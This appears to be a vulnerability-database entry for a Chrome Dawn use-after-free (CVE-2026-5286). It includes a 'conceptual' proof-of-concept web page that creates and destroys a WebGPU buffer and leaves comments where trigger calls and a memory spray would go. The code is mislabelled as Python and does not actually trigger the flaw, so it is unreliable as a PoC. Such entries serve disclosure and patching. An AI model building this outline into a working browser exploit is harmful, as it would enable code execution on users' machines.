Use after free in Dawn in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual PoC for CVE-2026-5286 (Dawn Use After Free)
Note: This is a generic structure to demonstrate the potential trigger logic.
-->
<html>
<body>
<script>
async function triggerUAF() {
if (!navigator.gpu) {
console.log("WebGPU not supported");
return;
}
try {
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
// Step 1: Create a WebGPU buffer
const buffer = device.createBuffer({
size: 1024,
usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ
});
// Step 2: Simulate the object lifecycle manipulation
// In a real exploit, specific API calls would be used to trigger the UAF
buffer.destroy();
// Step 3: Attempt to access or reference the destroyed object
// This might trigger the vulnerability if the cleanup logic is flawed
console.log("Buffer destroyed, checking status...");
// Malicious payload would be sprayed in memory here
} catch (e) {
console.error("Exploit failed:", e);
}
}
triggerUAF();
</script>
</body>
</html>